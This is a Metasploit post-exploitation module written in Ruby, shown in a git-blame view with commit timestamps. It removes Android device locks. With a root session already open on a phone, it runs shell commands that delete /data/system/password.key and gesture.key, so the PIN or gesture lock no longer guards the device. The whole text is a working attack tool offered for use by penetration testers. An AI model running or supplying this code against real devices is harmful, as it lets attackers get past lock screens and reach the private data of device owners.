2015-05-25 12:37:30 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit4 < Msf::Post
|
|
|
|
|
|
|
|
include Msf::Post::Common
|
2015-09-08 15:40:08 +00:00
|
|
|
include Msf::Post::Android::Priv
|
2015-05-25 12:37:30 +00:00
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super( update_info( info, {
|
2015-09-03 17:53:25 +00:00
|
|
|
'Name' => "Android Root Remove Device Locks (root)",
|
2015-05-25 12:37:30 +00:00
|
|
|
'Description' => %q{
|
|
|
|
This module uses root privileges to remove the device lock.
|
|
|
|
In some cases the original lock method will still be present but any key/gesture will
|
|
|
|
unlock the device.
|
|
|
|
},
|
2015-09-03 17:42:51 +00:00
|
|
|
'Privileged' => true,
|
2015-05-25 12:37:30 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => [ 'timwr' ],
|
|
|
|
'SessionTypes' => [ 'meterpreter', 'shell' ],
|
|
|
|
'Platform' => 'android',
|
|
|
|
}
|
|
|
|
))
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
2015-09-08 15:40:08 +00:00
|
|
|
unless is_root?
|
|
|
|
print_error("This module requires root permissions.")
|
|
|
|
return
|
2015-05-25 12:37:30 +00:00
|
|
|
end
|
|
|
|
|
2015-09-03 17:42:51 +00:00
|
|
|
%W{
|
|
|
|
/data/system/password.key
|
|
|
|
/data/system/gesture.key
|
|
|
|
}.each do |path|
|
|
|
|
print_status("Removing #{path}")
|
|
|
|
cmd_exec("rm #{path}")
|
|
|
|
end
|
|
|
|
|
|
|
|
print_status("Device should be unlocked or no longer require a pin")
|
2015-05-25 12:37:30 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
|